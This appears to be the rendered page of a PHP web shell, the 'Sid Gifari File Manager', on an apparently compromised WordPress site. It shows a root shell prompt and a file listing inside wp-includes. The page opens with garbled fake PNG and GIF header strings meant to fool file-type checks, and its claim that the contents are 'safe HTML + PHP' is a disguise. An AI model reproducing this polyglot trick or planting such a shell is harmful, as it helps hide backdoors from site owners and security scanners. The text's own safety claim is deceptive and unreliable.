$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-04-07

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / weigepor / public_html / wp-includes / sodium_compat / src / Core32 /
root@Sid-Gifari:/home/weigepor/public_html/wp-includes/sodium_compat/src/Core32$


NameSizePermAction
📄 BLAKE2b.php 22324 bytes
📁 ChaCha20 -
📄 ChaCha20.php 14511 bytes
📁 Curve25519 -
📄 Curve25519.php 132974 bytes
📄 Ed25519.php 15735 bytes
📄 HChaCha20.php 5297 bytes
📄 HSalsa20.php 6941 bytes
📄 Int32.php 24580 bytes
📄 Int64.php 31172 bytes
📁 Poly1305 -
📄 Poly1305.php 1586 bytes
📄 Salsa20.php 11506 bytes
📁 SecretStream -
📄 SipHash.php 6613 bytes
📄 Util.php 209 bytes
📄 X25519.php 11042 bytes
📄 XChaCha20.php 2454 bytes
📄 XSalsa20.php 1379 bytes